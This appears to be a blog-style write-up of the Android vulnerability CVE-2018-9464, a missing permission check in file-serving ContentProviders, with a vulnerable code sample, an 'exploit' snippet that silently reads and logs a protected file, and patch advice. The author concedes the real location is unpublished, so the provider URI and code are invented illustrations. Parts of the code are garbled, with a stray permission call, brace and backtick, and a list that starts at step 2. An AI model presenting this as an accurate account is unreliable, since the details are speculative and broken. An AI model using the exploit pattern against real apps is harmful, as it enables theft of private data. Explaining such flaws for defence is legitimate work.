Date discovered: Oct 2018
Platforms affected: Android 7. to 8.1
Severity: High
Attack vector: Local
References:
- Android Security Bulletin December 2018
- NVD Entry for CVE-2018-9464
Introduction
Every Android update fixes dozens of security bugs. CVE-2018-9464 is one of those deceptively simple vulnerabilities—missing permission checks in several Android framework locations gave ordinary apps the ability to read protected files. This could be used for local escalation of privilege without any user interaction. Let’s dig into how CVE-2018-9464 works, see some code, and understand exploitation.
Vulnerability Summary
CVE-2018-9464 appears where an Android API or internal framework function forgets to check whether the caller has the right permission before giving access to a file. Normally, sensitive files are only available to system apps or processes holding the correct Android permission. But if that check is missing, any local app can grab the protected information.
Works locally without user interaction (no phishing, clicks, or social engineering).
- The impact is local privilege escalation: bypassing Android’s app sandbox, letting a malicious app steal private data.
Affected Locations (Where the Bug Exists)
While Google hasn’t published the exact source location for CVE-2018-9464, analysis (and bug trackers) reveal that the issue affected several content providers and system services. For example, the framework’s handling of certain file URIs (Uniform Resource Identifiers) would let unprivileged apps access files they shouldn’t see.
In particular, some APIs that allow components to export or share files (e.g., through a ContentProvider) were missing checks on the caller’s permission before opening and sharing a handle to the sensitive file.
Code Snippet
Here’s a simplified example, based on typical mistakes that trigger this kind of vulnerability.
Suppose you have a ContentProvider method meant to serve a protected file
public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
File file = new File(getProtectedFilePath(uri));
// BAD: Missing permission check! Should check calling UID's permissions
// Anyone can access files here, like /data/data/com.android.system/xyz
return ParcelFileDescriptor.open(file, ParcelFileDescriptor.MODE_READ_ONLY);
}
enforceCallingPermission("android.permission.READ_PROTECTED_DATA");
}
`
- Without this, *any* app can call this ContentProvider and ask for a file descriptor to a protected file.
The malicious app discovers a ContentProvider that exposes files and is affected by CVE-2018-9464.
2. The malicious app crafts an Intent or directly calls the provider’s openFile API, passing the URI of a sensitive file (such as one containing system credentials, user databases, or keys).
3. The ContentProvider, not checking the caller’s permissions, happily returns a file descriptor to the sensitive file.
Example Exploit Code
Suppose the vulnerable ContentProvider is at content://com.android.system.provider/protectedfile.
Uri protectedUri = Uri.parse("content://com.android.system.provider/protectedfile");
ContentResolver cr = context.getContentResolver();
try {
ParcelFileDescriptor pfd = cr.openFileDescriptor(protectedUri, "r");
FileInputStream fis = new FileInputStream(pfd.getFileDescriptor());
BufferedReader br = new BufferedReader(new InputStreamReader(fis));
String line;
while ((line = br.readLine()) != null) {
Log.d("VULN", line);
}
br.close();
fis.close();
} catch (Exception e) {
Log.e("VULN", "Failed to read protected file", e);
}
No permissions are required by this malicious app, and it runs silently in the background!
Impact
- Allows silent theft of app-private or system files, including sensitive credentials, tokens, and personal data.
Remediation and Patch
Mitigation:
Device manufacturers and Google patched this by auditing permission checks on all critical ContentProvider and framework file access functions.
Patch pattern
// Before serving the file, check the permission of the caller:
enforceCallingPermission("android.permission.READ_PROTECTED_DATA");
Update your device:
If you have Android 8.1 or lower, make sure your system security patches are newer than December 2018.
Google’s official bulletin:
- Android Security Bulletin December 2018
Conclusion
CVE-2018-9464 is a classic illustration of why permission checks matter at every entry point. Just one missing call can turn your system's secrets into open season for malicious apps. Always keep your device up to date — and if you develop Android apps, triple-check your ContentProvider and file export permissions.
Know more:
- Android Security Best Practices
- CVE-2018-9464 NVD
Stay safe, and don’t forget: "Trust, but verify permissions!"
Timeline
Published on: 01/18/2025 00:15:25 UTC
Last modified on: 01/21/2025 16:15:12 UTC